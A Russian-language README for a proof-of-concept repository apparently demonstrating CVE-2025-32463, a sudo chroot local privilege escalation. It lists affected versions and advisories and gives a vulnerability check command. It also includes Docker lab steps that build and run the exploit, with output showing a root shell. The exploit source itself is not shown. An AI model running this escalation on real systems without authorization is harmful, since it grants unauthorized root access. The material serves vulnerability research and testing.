Сильно вдохновлено/скопировано/основано на формате похожего репозитория от pr0v3rbs -- https://github.com/pr0v3rbs/CVE-2025-32463i\_chwoot.git Это C-реализация для быстрой доставки, выполнения и очистки из одного источника.

CVE-2025-32463 – sudo chroot («chwoot») PoC

Этот репозиторий предоставляет минимальную воспроизводимую среду для демонстрации уязвимости повышения привилегий CVE‑2025‑32463 в функции chroot в sudo.

• Об уязвимости сообщил Rich Mirch (@0xm1rch в X) из Stratascale.
• Оригинальная публикация: Консультация об уязвимости: повышение привилегий через sudo chroot
• NVD: CVE-2025-32463 (CVSS 9.3)

Затронутые версии

Уязвимы сборки sudo 1.9.14 вплоть до 1.9.17 (все p‑ревизии) в большинстве дистрибутивов Linux.

Страницы безопасности

• Ubuntu (CVSS 9.3)
• Redhat (CVSS 7.8)
• SUSE (CVSS 7.8)
• Debian

Содержимое

Быстрая проверка уязвимости

# Vulnerable sudo
poc ~ $ sudo -R woot woot
sudo: woot: No such file or directory

# Patched sudo
poc ~ $ sudo -R woot woot
[sudo] password for poc:
sudo: you are not permitted to use the -R option with woot

Тестирование эксплойта в Docker-контейнере

# 1 – clone repo
$ git clone https://github.com/vpr-labs/CVE-2025-32463.git
$ cd CVE-2025-32463

# 2 – build and run Docker image (tagged "vpr-chwoot")
$ ./run.sh

# 3 – run exploit in container (runs root command directly)
poc@f722d9182d1f:~$ make && ./vpr-chwoot
woot!
root@f722d9182d1f:/# id
uid=0(root) gid=0(root) groups=0(root),1001(poc)
root@f722d9182d1f:/#

run.sh передаёт Docker флаги --privileged и --rm, поэтому контейнер автоматически удаляется при выходе.

Очистка

Удалите образ, когда закончите:

docker rmi vpr-chwoot

Ссылки

• Уведомление об уязвимости от Stratascale CRU: Консультация об уязвимости: повышение привилегий в sudo chroot